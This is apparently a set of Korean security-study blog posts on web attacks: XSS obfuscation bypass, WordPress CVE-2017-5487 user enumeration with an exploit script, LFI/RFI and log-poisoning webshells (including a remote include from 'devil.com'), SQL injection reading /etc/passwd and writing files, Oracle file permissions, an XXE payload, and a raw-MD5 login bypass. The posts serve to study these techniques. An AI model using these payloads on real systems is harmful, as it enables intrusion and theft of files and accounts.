Padding Oracle Attack

2018. 5. 1. 16:48

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

만약 XSS공격 시 < 와 >가 가능한데 다른 것들에 의해 진행되지 않는다면 아래의 자바스크립트 난독화를 이용하여 우회가 가능해보인다.

 - 주로 방화벽을 우외할 때 사용할 수 있다.



참고 ) http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=187

비슷한 기법으로 달러 난독화로도 불리우는 스플릿 문자 $ 를 이용한 jj encoding 이라는 난독화 기법이 존재하나 , jj encode 방식은 Operating System , Browser depended 즉 유연성 ( flexibility ) 이 떨어져 몇몇 환경에서는 실행되지 않으므로 부적절합니다. 위와 같은
생성자 [] 난독화 방식이나 META 태그에서 charset 속성 설정을 이용하여 여러가지 인코딩 방식을 통해 우회를 하는 방법이 가장 적절하겠으나 , 언어셋을 이용하여 우회하는 방식은 %3C , %3E 외에 비허용 문자인 %3D 를 포함시켜야 하기 때문에 생성자 [] 스트링을 이용한 난독화 기법만이 필터링 처리 되지 않는 가장 적절한 방식이라고 볼 수 있겠습니다


https://codeengn.com/archive/Web%20Application/%EC%9E%90%EB%B0%94%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8%20%EB%82%9C%EB%8F%85%ED%99%94%20%EA%B8%B0%EB%B2%95%20%EB%B0%8F%20%EB%B6%84%EC%84%9D%20%EB%B0%A9%EB%B2%95%EB%A1%A0%20[%EB%B0%95%EB%AF%BC%EA%B1%B4].pdf


http://utf-8.jp/public/jsfuck.html

반응형

'Hacking > Web' 카테고리의 다른 글

Blind SQL Injection tool 분석  (4) 2018.05.06
Padding Oracle Attack  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
[CVE-2017-5487] 워드프레스 REST API 관련 취약점  (0) 2018.03.30
Injection PHP Code  (0) 2018.03.24
블로그 이미지

rootable

,
반응형

보안진단 할 때 주로 사용하는 플러그인을 정리하면 좋겠다 생각하여 정리해둔다.

아직 사용해보지 못한 플러그인들도 많다. 유용하다 생각되면 더 추가하도록 하겠다.

( ps. 만약 소개해주고 싶은 좋은 플러그인이 있다면 댓글로 남겨주시면 감사하겠습니다)


1. EditThisCookie

 - 사용법 : 쿠키값을 변경하고 싶을 때 사용, 내가 원하는 쿠키를 생성할 수도 있다.

 - 링크 : https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=ko


2. Enable Copy

 - 사용법 : 드래그할 수 없는 포스팅 중 필요한 내용을 복사하고 싶을 때 사용

 - 링크 : https://chrome.google.com/webstore/detail/enable-copy/lmnganadkecefnhncokdlaohlkneihio?hl=ko


3. Proxy SwitchyOmega

 - 사용법 : 프록시를 태우고 진단을 하거나 Youtube로 노래를 듣거나 할 경우 진단대상을 벗어난 패킷들이 계속 Burp에 잡혀 불편하다. 이럴 때 특정 사이트만 프록시를 태울 때 사용한다. 주로 진단할 때보단 집에서 공부할 때 주로 사용한다.

 - 링크 : https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif


4. User-Agent Switcher for Google Chrome

 - 사용법 : 간단하게 모바일 혹은 다른 브라우저로 접속한 것처럼 속이고 싶을 때 사용

 - 링크 : https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake


5. 네이버 영어사전 

 - 사용법 : 영어 문서를 읽을 때 모르는 단어가 나오면 더블클릭하며 우측 상단에 뜻이 나온다. 

 - 링크 : 

https://chrome.google.com/webstore/detail/%EB%84%A4%EC%9D%B4%EB%B2%84-%EC%98%81%EC%96%B4%EC%82%AC%EC%A0%84-naver-english-di/jfibpeiddefellcfgnijpcpddoimbdij


6. Shodan

 - 사용법 : 내가 접속한 사이트의 IP와 열려있는 Port를 스캔하여 보여준다. 보안상 취약한 포트가 열려있는지 바로 확인할 수 있어 유용하다. 단, 내가 스캔을 하고 싶지 않아도 접속만 해도 스캔을 하기 때문에 잘 생각해서 사용해야한다.

 - 링크 : https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap


7. Wappalyzer

 - 사용법 : 내가 접속한 사이트가 어떤 구조로 이루어져있는지 알려주는 플러그인이다. 100% 확실하다라고 장담할 수는 없지만 참고하기에는 좋은 플러그인이다.

 - 링크 : 

https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg

반응형

'Hacking > Web' 카테고리의 다른 글

Padding Oracle Attack  (0) 2018.05.01
자바스크립트 난독화  (0) 2018.05.01
[CVE-2017-5487] 워드프레스 REST API 관련 취약점  (0) 2018.03.30
Injection PHP Code  (0) 2018.03.24
Oracle 을 통해 JAVA 코드 사용  (0) 2018.02.05
블로그 이미지

rootable

,
반응형

1. CVE-2017-5487이란?

 : 워드프레스 4.7.1 이전의 버전에서 wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php에 있는 REST API 구현에 있어 게시자 목록을 제한하지 않아 원격 공격자가 wp-json/wp/v2/users 요청을 통해 중요한 정보를 얻을 수 있는 취약점.

( 참고 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487 )


무슨 말인지 모르겠으니 배경지식에 대해 알아본 뒤 실습을 통해 알아보도록 하자.

만약 배경지식이 필요없다 생각이 든다면 [3]부터 보면 된다.


2. REST API란?

 : 간단히 말하자면 "무엇어떻게 한다" 를 정의한 API를 REST API라고 할 수 있다.

 : 좀 더 자세히 설명하자면 HTTP URI로 정의된 리소스 HTTP Method와 Payload를 이용하여 어떻게 한다는 것이 REST API이다.

 : REST = REpresentational State Transter의 약자


2.1 HTTP URI로 정의된 리소스

 : 리소스란 처리되는 대상을 의미

 ex) JSON, XML 문서, jpg 등 이미지 파일, mp4 등 비디오 파일 등등..


 : URI란 Uniform Resource Identifier의 약자로 통합 자원 식별자이다. 우리가 흔히 보는 URL도 URI의 일부인데 어떠한 자원을 식별하는 것을 말한다.

 ex) http://rootable.tistory.com/user/test 를 통해 test라는 유저에 대한 정보를 획득할 수 있다면 이도 또한 URI이다.


2.2 HTTP Method

 : 해당 메소드는 리소스가 어떤 형식이던지 상관없이 똑같이 동작한다.

 : REST API에서 사용되는 메소드는 POST, GET, PUT, PATCH, DELETE 등이 있다. 주의할 점은 우리가 생각하는 기능과는 다르다는 점이다. 예를 들어 POST같은 경우 우리는 서버로 데이터나 문서를 요청할 때 사용하는 메소드라 생각하는데 REST API같은 경우는 생성(create) 기능을 한다.


 * HTTP Method와 CRUD 연산 정리

HTTP Method 

CRUD 연산 

 POST

 create 

 GET 

 read 

 PUT 

 update / replace 

 PATCH 

 update / modify 

 DELETE 

 delete 


 * CRUD 연산이란 컴퓨터 소프트웨어가 기본적으로 데이터 처리할 때 사용하는 Create, Read, Update, Delete를 묶어서 일컫는 말이다.


ex) http://rootable.tistory.com의 users에 doni라는 사용자를 추가하라는 REST API

POST http://rootable.tistroy.com/users/doni


ex) 사용자 생성 시 직업, 나이, 성별 등 다양한 특성이 필요할 경우 XML이나 JSON 같은 다양한 표현 언어를 Body 부분에 명시하여 등록

POST http://rootable.tistory.com/users Content-Type: application/json


{

"username" : "doni"

"age" : "27"

}


3. 워드프레스의 REST API

 : REST API가 리소스를 어떻게 하겠다는 미리 정의된 API라 하였다. 그렇다면 워드프레스에서 정의한 REST API는 무엇이 있을까?


아래의 표를 참고하자.

ResourceBase Route
Posts/wp/v2/posts
Post Revisions/wp/v2/revisions
Categories/wp/v2/categories
Tags/wp/v2/tags
Pages/wp/v2/pages
Comments/wp/v2/comments
Taxonomies/wp/v2/taxonomies
Media/wp/v2/media
Users/wp/v2/users
Post Types/wp/v2/types
Post Statuses/wp/v2/statuses
Settings/wp/v2/settings

여러가지 REST API가 정의된 것을 볼 수 있다. 여기서 우리가 이번에 알아볼 CVE에서 나온 /wp/v2/users가 있는 것을 알 수 있다.


4. CVE 활용

4.1. 글작성자에 대한 정보 획득

 - 아래는 EXPLOIT DB에서 찾은 코드이다. ( https://www.exploit-db.com/exploits/41497/ )

 - 코드를 보면 알 수 있듯이 그냥 처리 결과를 깔끔하게 정리하여 화면에 뿌려주는게 다다. 굳이 이 익스플로잇 코드를 이용하지 않고 직접접근하여도 정보를 얻을 수는 있으므로 깔끔하게 보이기 위해 FU 취약점까지 갈 필요는 없다고 본다.

#!usr/bin/php
<?php
 
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
 
 
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
 
 
?>


이를 wordpress를 설치한 곳에 php코드로 저장 후 실행시키면 아래와 같이 결과가 뜬다.


직접 접근할 경우는 아래와 같이 보인다. (잘 안보인다면 클릭)


이를 통해 알 수 있는 정보는 글을 작성한 사용자에 대한 ID, name 등 정보를 획득할 수 있다


참고) 회원가입되어 있는 모든 사용자가 보이는줄 알았지만 테스트한 결과 글 작성자의 계정만 보이는 것이다. CVE 설명을 보면 author라는 단어가 있는데 이게 바로 작성자의 의미인 듯 하다. 


4.2 파일업로드 경로 획득

Wordpress에서의 REST API 중 /wp/v2/posts가 있다. 이에 접근하면 아래와 같이 포스팅한 글에 대한 정보가 보이는데 이 중 표시한 것처럼 파일업로드 경로를 획득할 수 있다. FU 취약점이 발견된다면 큰 도움이 될 것으로 보인다.


- posts를 할 경우 너무 많은 정보가 떠 불편할 경우 [ /wp-json/wp/v2/posts/20 ] 로 접근한다면 20번째 글에 대한 정보만 획득할 수 있다.


5. 참고

4.7 버전에서도 setting을 보거나 글을 수정하는 것은 불가능한 것으로 보인다,


- 세팅을 보려할 경우엔 rest_forbidden이 뜨며 접근이 금지된다.


- 첫번째 글을 수정하려 할 경우 글을 읽을 수 없다는 메시지가 뜬다.


- user를 보는 것보다 이게 더 큰 것일 텐데 조금 아쉽다.. 검색 결과 이에 해당하는 취약점은 없는 것으로 보인다. 다만 4.7.1 이전의 버전에 대해 타사용자의 글을 수정할 수 있는 취약점이 존재하는 것으로 보인다. 이는 다음 포스팅에서 진행하도록 하겠다.


참고)

1. REST API 설명 : http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770

2. 유니코드 번역 : http://koreanstudies.com/unicode-converter.html

3. 다운그레이드 (하다가 진행이 안되서 다시 설치했으므로 안새로 설치하는 것을 추천한다)

: http://www.bbsetheme.co.kr/%EC%9B%8C%EB%93%9C%ED%94%84%EB%A0%88%EC%8A%A4-%EB%B2%84%EC%A0%84-%EB%8B%A4%EC%9A%B4%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%95%98%EA%B8%B0/

반응형

'Hacking > Web' 카테고리의 다른 글

자바스크립트 난독화  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
Injection PHP Code  (0) 2018.03.24
Oracle 을 통해 JAVA 코드 사용  (0) 2018.02.05
XXE Injection  (0) 2018.02.01
블로그 이미지

rootable

,

Injection PHP Code

Hacking/Web 2018. 3. 24. 13:58
반응형

PHP Code를 Injection하는 여러가지 방법을 알아볼 것이다.

이것은 WOWHACKER에서 b0BaNa님이 번역하신 것을 정리한 문서이다.


1. File Inclusion을 이용한 방법

2. SQL Injection을 이용한 방법



1-1. File Inclusion이란?

 - LFI, RFI로 잘 알려진 기법으로 파일을 호출하여 삽입하는 include, require, include_once, require_once 함수를 사용하는 곳에서 시큐어코딩을 하지 않았을 때 발생할 수 있는 취약점이다.


1-2. 원하는 파일 내용 보기 (웹 유저가 읽기가능한 파일만 볼 수 있음)

1) 단순히 삽입만 하는 경우

 - require($file)일 경우 그냥 ?file=../../../../etc/passwd하면 된다.

 - require($_COOKIE['lang']); 같이 코딩되어있을 경우 쿠키값에 원하는 값을 넣는 방식으로 취약점이 발생할 수 있다.


2) 뒤에 확장자가 붙어있는 경우

 - require($file.".php")같은 경우 원하는 파일을 읽고 싶다면 뒤에 널 문자를 넣으면 된다.

 - ?file=../../../../etc/passwd%00

 - PHP의 경우 보안 업데이트가 되어 5.3.4버전 이후로는 널문자 삽입을 이용한 취약점이 불가하다.


1-3. 한줄 웹쉘 삽입하기

 - 아파치 서버의 경우 로그가 access_log와 error_log에 저장된다는 것을 이용하여 한줄 웹쉘을 해당 로그 파일들에 저장을 하고 그 파일을 삽입시켜 웹쉘을 이용할 수 있따는 취약점이 존재한다.

 


 - 문서의 경우 존재하지 않는 파일 뒤에 웹쉘코드를 삽입하라고 하였는데 나의 서버의 경우 그렇게 하면 error.log에 해당 파일이 존재하지 않는다는 에러가 저장되었다. 그래서 존재하는 파일 뒤에 웹쉘을 넣으니 해당 코드가 들어가는 것 처럼 보였으나 <와 >가 lt, gt로 변환되어 코드를 제대로 사용할 수 없는 상황이다. (이 부분에 대한 해답은 뒤에 나온다)


※ 기본 로그 저장 위치 (access log는 error 대신 access를 넣으면 된다)

/var/log/httpd/error_log ← RHEL / Red Hat / CentOS / Fedora Linux Apache

/var/log/apache2/error.log ← Debian / Ubuntu Linux Apache (내 서버)

/var/log/httpd-error.log ← FreeBSD Apache


※ 로그 저장 위치가 바뀌었을 경우 참고할 파일

grep ErrorLog /usr/local/etc/apache22/httpd.conf

grep ErrorLog /etc/apache2/apache2.conf

grep ErrorLog /etc/httpd/conf/httpd.conf


1.3.1) error_log에 삽입

 - 존재하지 않는 파일을 호출하거나 존재하지 않는 파일을 호출하며 User-Agent에 한줄 웹쉘을 입력해도 똑같이 해당 파일이 존재하지 않는다는 로그만 적힌다.

 - 반면에 존재하지 않는 파일을 호출하면서 Referer에 PHP 코드를 작성하게 되면 해당 코드가 그대로 Error_log에 삽입되는 것을 볼 수 있다.


1.3.2) Access_log에 삽입

 - 엑세스 로그의 경우는 error 로그보다 더 가능성이 높다. error log와 달리 User-Agent에 코드를 삽입했을 경우에도 그대로 보인다.

 - access_log에 삽입되어야 하므로 존재하는 파일에 코드를 삽입해야 로그가 쌓인다.

 - 첫번째는 존재하는 파일의 파라미터에 삽입한 경우이다. 코드가 URL 인코딩되어 들어간 것을 볼 수 있고 때문에 PHP 코드 실행이 되지 않는다.

 - 두번째는 User-Agent에 삽입한 경우인데 제대로 들어간 것을 볼 수 있다.

 - 세번째는 Referer에 삽입한 경우인데 제대로 들어간 것을 볼 수 있다.


1.3.3) 그림에 삽입

 - 난 edjpgcom.exe를 사용하여 사진 안에 PHP 코드를 삽입하였다.

 - edjpgcom.exe가 있는 폴더에서 cmd 창을 열어 edjpgcom [코드를 삽입할 파일명] 을 입력해주면 아래와 같은 창이 뜨는데 여기에 PHP 코드를 삽입하면 된다.

해당 파일을 서버에 올려두고 LFI 취약점이 존재하는 곳에서 호출하면서 cmd 뒤에 원하는 명령어를 삽입하면 그 결과가 뜨는 것을 볼 수 있다.


1.3.4) RFI (Remote File Inclusion)

 - 확장자가 php가 아니라 그 이외의 확장자여야 한다. 그 이유는 php 파일을 불러올 경우 해당 php가 실행된 결과물을 가져오기 때문에 공격지 서버에서 동작을 하지 않는다.

 - 다른 확장자일 경우 그대로 가져오기 때문에 코드가 공격지 서버에 삽입이 되고 공격지 서버에서 php코드를 실행시키기 때문에 우리가 원하는대로 공격지에서 php 코드가 실행된다.

ex) http://host/?file=http://devil.com/shell.txt

     http://host/?file=http://devil.com/shell.txt%00


1.3.5) 그 이외

 - FTP 로그인 시 ID 부분에 PHP 코드 입력 후 ftp log파일 이용

 - PUT 메소드를 이용하여 PHP 코드가 담긴 파일 생성


2.1 SQL Injection을 이용한 웹쉘 삽입

 - SQL Injection을 이용하면 서버 내 파일을 읽을 수도, 파일을 생성할 수도 있다. 


2.2 서버 내 파일 읽기

 - 자세한 건 다른 포스팅을 통해 알길 바란다.

 - order by 를 이용하여 column 수 확인

 - 기존의 데이터가 존재하지 않는 값을 넣어 아무것도 뜨지 않도록 만든 뒤 union select를 이용하여 어떤 컬럼의 데이터가 페이지 상에 뜨는지 확인한다.

 - 해당 컬럼에 데이터를 출력하도록 한다.

ex) 컬럼이 4개이고 네번 째 컬럼의 값이 뜬다는 것을 확인하였을 떄

http://rootable.com?id=-1 union select 1,2,3,load_file('/etc/passwd')


 - 만약 싱글쿼터가 차단된다면 hex값 혹은 binary값을 통해 우회할 수 있다.

ex) http://rootable.com?id=-1 union select 1,2,3,load_file(0x2f6574632f706173737764)

http://rootable.com?id=-1 union select 1,2,3,load_file(0b0010111101100101011101000110001100101111011100000110000101110011011100110111011101100100)


2.3 서버에 파일 생성

 - select 내용 into outfile "파일 이름"

 - http://rootable.com?id=-1 union select 1,"<?php+phpinfo()?>,3 into outfile "/var/www/rootable.com/www/phpinfo.php"

 - 파일 이름에 들어가는 것은 반드시 절대경로여야 한다.




* 문서에 나오는 프로세스 관련된 부분은 아직 이해가 안된다.

 - /proc/(PID)/fd/(FD_ID)

 - /proc/self/environ

 - /proc/self/stat


참고 문서

 - http://unikys.tistory.com/248

 - 

반응형

'Hacking > Web' 카테고리의 다른 글

보안진단 크롬 플러그인  (0) 2018.04.17
[CVE-2017-5487] 워드프레스 REST API 관련 취약점  (0) 2018.03.30
Oracle 을 통해 JAVA 코드 사용  (0) 2018.02.05
XXE Injection  (0) 2018.02.01
SQL Injection With raw MD5 hash  (0) 2018.01.22
블로그 이미지

rootable

,
반응형

0. 주제선정

 - https://www.adampalmer.me/iodigitalsec/2013/08/12/first-steps-in-oracle-penetration-testing/ 하단을 보면 ORACLE 내에서 JAVA 코드를 작성할 수 있는 것이 보였다.

 - 해당 주제에 대해 공부하며 ORACLE에 대해 조금 더 알 수 있을까 하여 시작하였다.


1. PL/SQL

- ORACLE 내에서 JAVA 코드를 사용하기 위해서는 PL/SQL을 통해서 권한을 부여해주어야 한다. 이를 위해 먼저 PL/SQL을 알아보자.


 1.1 PL/SQL이란?

 - 오라클 DBMS에서 SQL 언어를 확장하기 위해 사용하는 컴퓨터 프로그래밍 언어 중 하나 ( 오라클 DBMS의 경우 버전 7부터 가능)


 1.2 구조

DECLARE

변수 선언문;

BEGIN

프로그램 코드;

EXCEPTION

예외 처리문;

END;


 1.3 예제

DECLARE

X NUMBER;    // 숫자형 변수 선언

BEGIN

x := 100;        // 해당 변수에 값 100 대입

END;

/


 1.4 권한

 - PL/SQL을 실행하기 위한 필요권한은 없다. (계정 생성 후 DB에 접근하기 위한 [ CREATE SESSION ] 권한만 주어주고 시도해본 결과 PL/SQL 프로시저를 성공적으로 완료하였다.


2. 권한 부여

 - PL/SQL에 대해 간단히 알아보았다. 이를 토대로 JAVA 코드를 ORACLE 데이터베이스에서 작성할 수 있도록 권한을 부여하는 PL/SQL 코드를 보자.


DECLARE

  l_schema VARCHAR2(30) := 'SYSTEM';

BEGIN

  DBMS_JAVA.grant_permission(l_schema, 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete');

  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');

  DBMS_JAVA.grant_permission(l_schema, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

END;

/


① 변수를 선언해주기 위한 변수 선언문 시작

② 가변길이 문자열 형태로 30byte까지 저장할 수 있는 l_schema 변수를 생성하고 여기에 SYSTEM 이라는 문자열을 대입시킨다.

③ 프로그램 코드 시작

④ ~ ⑥ DBMS_JAVA 패키지를 통해 l_schema에 저장한 user에게 권한을 부여해준다.

⑦ PL/SQL 종료

⑧ 맨 끝의 '/' 는 SQL*Plus에게 PL/SQL 코드의 입력이 끝났음을 알리고 이를 Oracle 데이터베이스로 보내는 역할


 * VARCHAR2는 VARCHAR2(30 BYTE), VARCHAR2(30 CHAR) 처럼 BYTE 기준과 CHAR 기준으로 생성이 가능하고 위 예시와 같이 따로 선언하지 않을 경우 byte 형태로 생성된다.


* VARCHAR 와 VARCHAR2의 차이

 - 현재 VARCHAR와 VARCHAR2는 둘다 가변길이 문자열 형태로 사용된다. 하지만 추후 VARCHAR는 다른 형태로 사용될 것이라는 ORACLE의 발표가 있으므로 VARCHAR2를 사용하도록 권장하고 있다.


“Do not use the VARCHAR datatype. Use the VARCHAR2 datatype instead.

Although the VARCHAR datatype is currently synonymous with VARCHAR2,

the VARCHAR datatype is scheduled to be redefined as a separate

datatype used for variable-length character strings compared with

different comparison semantics.”


3. DBMS_JAVA

 - 권한을 부여할 때 사용된 DBMS_JAVA 패키지에 대해 알아보자.


3.1. DBMS_JAVA란?

 - DBMS_JAVA는 데이터베이스에서 사용하는 JAVA 객체에 접근하기 위한 함수를 제공하는 패키지이다.


3.2. DBMS_JAVA.grant_permission

 - 이 메소드는 특정 사용자나 role에 permission을 부여하기 위해 사용된다.

PROCEDURE grant_permission(grantee VARCHAR2, permission_type VARCHAR2, permission_name VARCHAR2, permission_action VARCHAR2)

위의 옵션을 참고하여 위에 작성한 권한 부여 PL/SQL 코드를 분석해보자.


④ l_schema에 할당된 유저(SYSTEM)에게 java.io.FilePermission 타입의 read ,write, execute, delete 역할을 수행하는 <<ALL FILES>> 이름의 permission을 부여

⑤ l_schema에 할당된 유저(SYSTEM)에게 SYS:java.lang.RuntimePermission 타입의 역할을 수행하는 writeFileDescriptor 이름의 permission을 부여

⑥ l_schema에 할당된 유저(SYSTEM)에게 SYS:java.lang.RuntimePermission 타입의 역할을 수행하는 readFileDescriptor 이름의 permission을 부여


* 참고

DBMS_JAVA Package : https://docs.oracle.com/cd/B28359_01/java.111/b31225/appendixa.htm

PL/SQL : http://jhbench.tistory.com/294

DBMS_JAVA : https://technet.tmaxsoft.com/upload/download/online/tibero/pver-20150504-000001/tibero_pkg/chap_dbms_java.html

반응형

'Hacking > Web' 카테고리의 다른 글

[CVE-2017-5487] 워드프레스 REST API 관련 취약점  (0) 2018.03.30
Injection PHP Code  (0) 2018.03.24
XXE Injection  (0) 2018.02.01
SQL Injection With raw MD5 hash  (0) 2018.01.22
SQL Injection_V2.0  (0) 2018.01.17
블로그 이미지

rootable

,

XXE Injection

Hacking/Web 2018. 2. 1. 15:56
반응형

0. 주제 선정 이유

- XXE 라는 것을 많이 들어보았고 패킷 내 어떤 형태일 때 공격을 시도할만한지는 알고 있었지만 정확한 개념이 잡혀있지 않아 정리하는 겸 적어본다.


1. 정의

 : XXE Injection이 무엇인지부터 짚고 넘어가자.


1.1 XXE Injection이란?

 - XXE Injection = XML External Entitiy Injection

 - 즉, 영어 그대로 해석하면 XML 외부 요소를 Injection한 공격이라고 해석할 수 있다. 그렇다면 XML이 무엇인지, XML 외부 요소는 무엇을 뜻하는 것일까?


1.2 XML 이란?

 - XML = Extensible Markup Language = 다른 특수한 목적을 갖는 마크업 언어를 만드는데 사용하도록 권장하는 다목적 마크업 언어

 - 마크업 언어 = 태그 등을 이용하여 문서나 데이터의 구조를 명기하는 언어의 한가지

 - 주로 다른 종류의 시스템, 특히 인터넷에 연결된 시스템끼리 데이터를 쉽게 주고 받을 수 있게 하여 HTML의 한계를 극복할 목적으로 만들어진 언어


정의만 봐서는 이게 무엇을 하는 공격인지, 어떤 식으로 진행되는 것인지 알기가 어렵다. 좀 더 자세히 알아보도록 하자.

 

2. XML 핵심 요소 (참고 : http://tcpschool.com/xml/xml_basic_structure)

 : XXE 공격에 대해 알기 위해서는 먼저 XML이 무엇인지, 어떻게 구성되어있는지를 알아야 한다.

 : 여러 요소들이 있지만 일부만 소개하겠다. 더 자세한 사항은 ( https://ko.wikipedia.org/wiki/XML )를 참고하도록 하자.


2.1 프로세서(processor)와 애플리케이션(application)

 - 프로세서는 마크업을 분석하고 구조화된 정보를 애플리케이션에 넘긴다.

 - 프로세서는 흔히 XML parser라 불린다.


2.2 마크업(markup)과 내용(content)

 - XML 문서를 구성하는 문자들은 마크업내용으로 나뉜다.

 - 일반적으로 마크업을 구성하는 문자열 아래와 같다. (마크업이 아닌 문자열은 내용)

 (1) 문자 [ < ]로 시작하여 문자 [ > ]로 끝

 (2) 문자 [ & ]로 시작하여 문자 [ ; ]로 끝

 - CDATA 절에서 <![CDATA[ 와 ]]> 는 마크업으로 분류되고, 그들 사이의 텍스트는 내용으로 구분된다.

 - 가장 바깥 엘리먼트의 앞과 뒤의 공백(whitespace)은 마크업으로 분류


2.3 태그(tag) : [ < ] 로 시작하여 [ > ]로 끝나는 마크업 구조

 (1) 시작 태그 : <section>

 (2) 끝 태그 : </section>

 (3) 빈 엘리먼트 태그 : <line-break />


2.4 엘리먼트(element) : 문서의 논리 요소

 - 시작 태그로 시작하여 짝이 되는 끝 태그로 끝

 - 순서 : [시작태그] [내용(마크업 포함)] [종료태그]

 ex) <Greeting>Hello, World</Greeting> 

 - 빈 엘리먼트 태그

 ex) <line-break />


2.5 애트리뷰트(Attibute) : 이름/값 짝으로 이루어진 마크업 구조

 - 시작 태그 또는 빈 엘리먼트 태그 속에 위치

 - 아래의 경우 엘리먼트 img는 src와 alt의 두 애트리뷰트를 갖는다.

<img src="madonna.jpg" alt='Foligno Madonna, by Raphael' />


2.6 XML 선언 : XML 문서는 아래와 같이 자신에 대한 정보 일부를 선언하는 것으로 시작할 수 있다.

<?xml version="1.0" encoding="UTF-8" ?>


3. XXE 동작 방식

 - XXE(XML External Entity) 공격은 취약하게 설정된 XML parser에 의해 external entity를 참조하는 XML input을 처리하였을 때 발생한다.

 - XML 1.0 표준은 XML 문서의 구조를 정의하고 있다. 그 표준은 몇몇 타입의 저장 단위를 모아 entity라는 컨셉으로 정의한다. 여기에는 일부 다른 entity 타입이 있는데 선언된 시스템 identifier를 통해 로컬 혹은 원격지의 컨텐츠에 접근이 가능한 external entity라는 것이 있다.


4. XXE Injection 공격 예제 분석

<?xml version="1.0" encoding="UTF-8">

<!DOCTYPE rootable[

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<rootable>

<simple>&xxe;</simple>

</rootable>

① Xml 선언문을 작성해준다. 테스트결과 이는 없어도 잘 작동하였다,

② XXE는 DTD 내에 external entity를 선언하고 이를 불러오는 방식으로 작동하는 것이다. 따라서 DTD를 생성하기 위해 작성한다.

③ DTD 외부에 존재하는 /etc/passwd를 불러오기 위해 SYSTEM을 작성해주었다. 이를 통해 /etc/passwd를 불러오는 external entity를 선언한 것이다.

 ( 위의 코드는 <!ENTITY xxe SYSTEM "../../../../../etc/passwd"> 로도 가능하다 )

④ DTD에서 선언한 루트요소를 선언해준다.

⑤ XML 객체를 생성하고 그 내용으로는 우리가 생성한 external entity를 불러오도록 한다.

⑥ 루트요소를 닫아주는 태그를 생성해준다.


- 가장 기본적인 external entity를 예제로 들었고 이외에 더 많은 공격 형태를 보고 싶다면 

https://beistlab.files.wordpress.com/2015/01/grayhash_intro_xxe.pdf 를 참고하여라.


5. XXE Injection 한계

(1). DTD를 선언할 수 있어야 한다.

 - external entity를 선언해주어야 하므로 DTD를 선언할 수 없다면 당연히 원하는 공격이 힘들 것이다.

 - 따라서 파라미터에서 xml=<price>100</price> 같이 xml 객체만을 받는 형식이라면 XXE Injection은 불가하다.


(2) 불러오는 외부 리소스가 DTD 문법에 어긋나지 않아야 함.

 - DTD 문법에 어긋날 경우 xml parser에서 에러가 발생한다.

 - 대표적으로 jsp, php, asp같은 서버사이드 스크립트는 scriptlet 때문에 항상 DTD 문법 오류가 난다.

 

(3) Binary는 불러올 수 없다.

 - XML 문서에서 바이너리 형식의 리소스는 지원하지 않는다.


6. 대응방안

1. 근본적으로 entity 기능을 비활성화하면 XXE Injection은 불가할 것이다.

2. secure coding을 통해 막을 수 있다. (PHP 기준)

 - limxml_use_internal_errors(true) : XML 파싱 도중 오류가 발생하였을 경우, 오류 메시지를 출력하지 않게 해주는 함수

 - libxml_disable_entity_loader(true) : 외부 리소스를 불러오지 못하게 하는 함수


* 참고. 

CDATA : http://parkjuwan.tistory.com/156

https://beistlab.files.wordpress.com/2015/01/grayhash_intro_xxe.pdf

https://ko.wikipedia.org/wiki/XML

http://blog.naver.com/PostView.nhn?blogId=koromoon&logNo=120208853424

http://tcpschool.com/xml/xml_basic_structure

반응형

'Hacking > Web' 카테고리의 다른 글

Injection PHP Code  (0) 2018.03.24
Oracle 을 통해 JAVA 코드 사용  (0) 2018.02.05
SQL Injection With raw MD5 hash  (0) 2018.01.22
SQL Injection_V2.0  (0) 2018.01.17
SQL Injection  (0) 2018.01.16
블로그 이미지

rootable

,
반응형

만약 SQL 쿼리가 

mysql_query("SELECT login FROM admins WHERE password = '" . md5($_GET['password'], true) . "'");

처럼 받은 값을 md5하여 처리할 경우 SQL Injection이 될 수 있다.


MD5 함수를 자세히 보면

string md5( string $str [, bool $raw_output = false] )

처럼 되어있다,


즉, md5('test',true) 같이 사용할 경우 raw 형태로 출력이 되어 Mysql 등 DB에서 유효한 ' 혹은 " 가 출력될 수 있다.


참고한 사이트를 보면 

'||'1

md5의 raw 형태 출력 결과 위와 같은 결과가 나오길 바라며 코딩을 하여 찾아보았다.



아래는 그 결과이다.

content: 129581926211651571912466741651878684928
count:   18933549
hex:     06da5430449f8f6f23dfc1276f722738
raw:     ?T0D??o#??'or'8.N=?

즉 password 부분에 content에 해당하는 [129581926211651571912466741651878684928] 를 넣게 되면 raw 형태로 쿼리에 들어가 ' or '부분이 적용되고 8이 boolean의 true처럼 작동하여 로그인이 성공하는 방식이다.


자세한 사항은 아래 남겨놓은 참고 사이트를 보길 바란다.


참고 : http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

반응형

'Hacking > Web' 카테고리의 다른 글

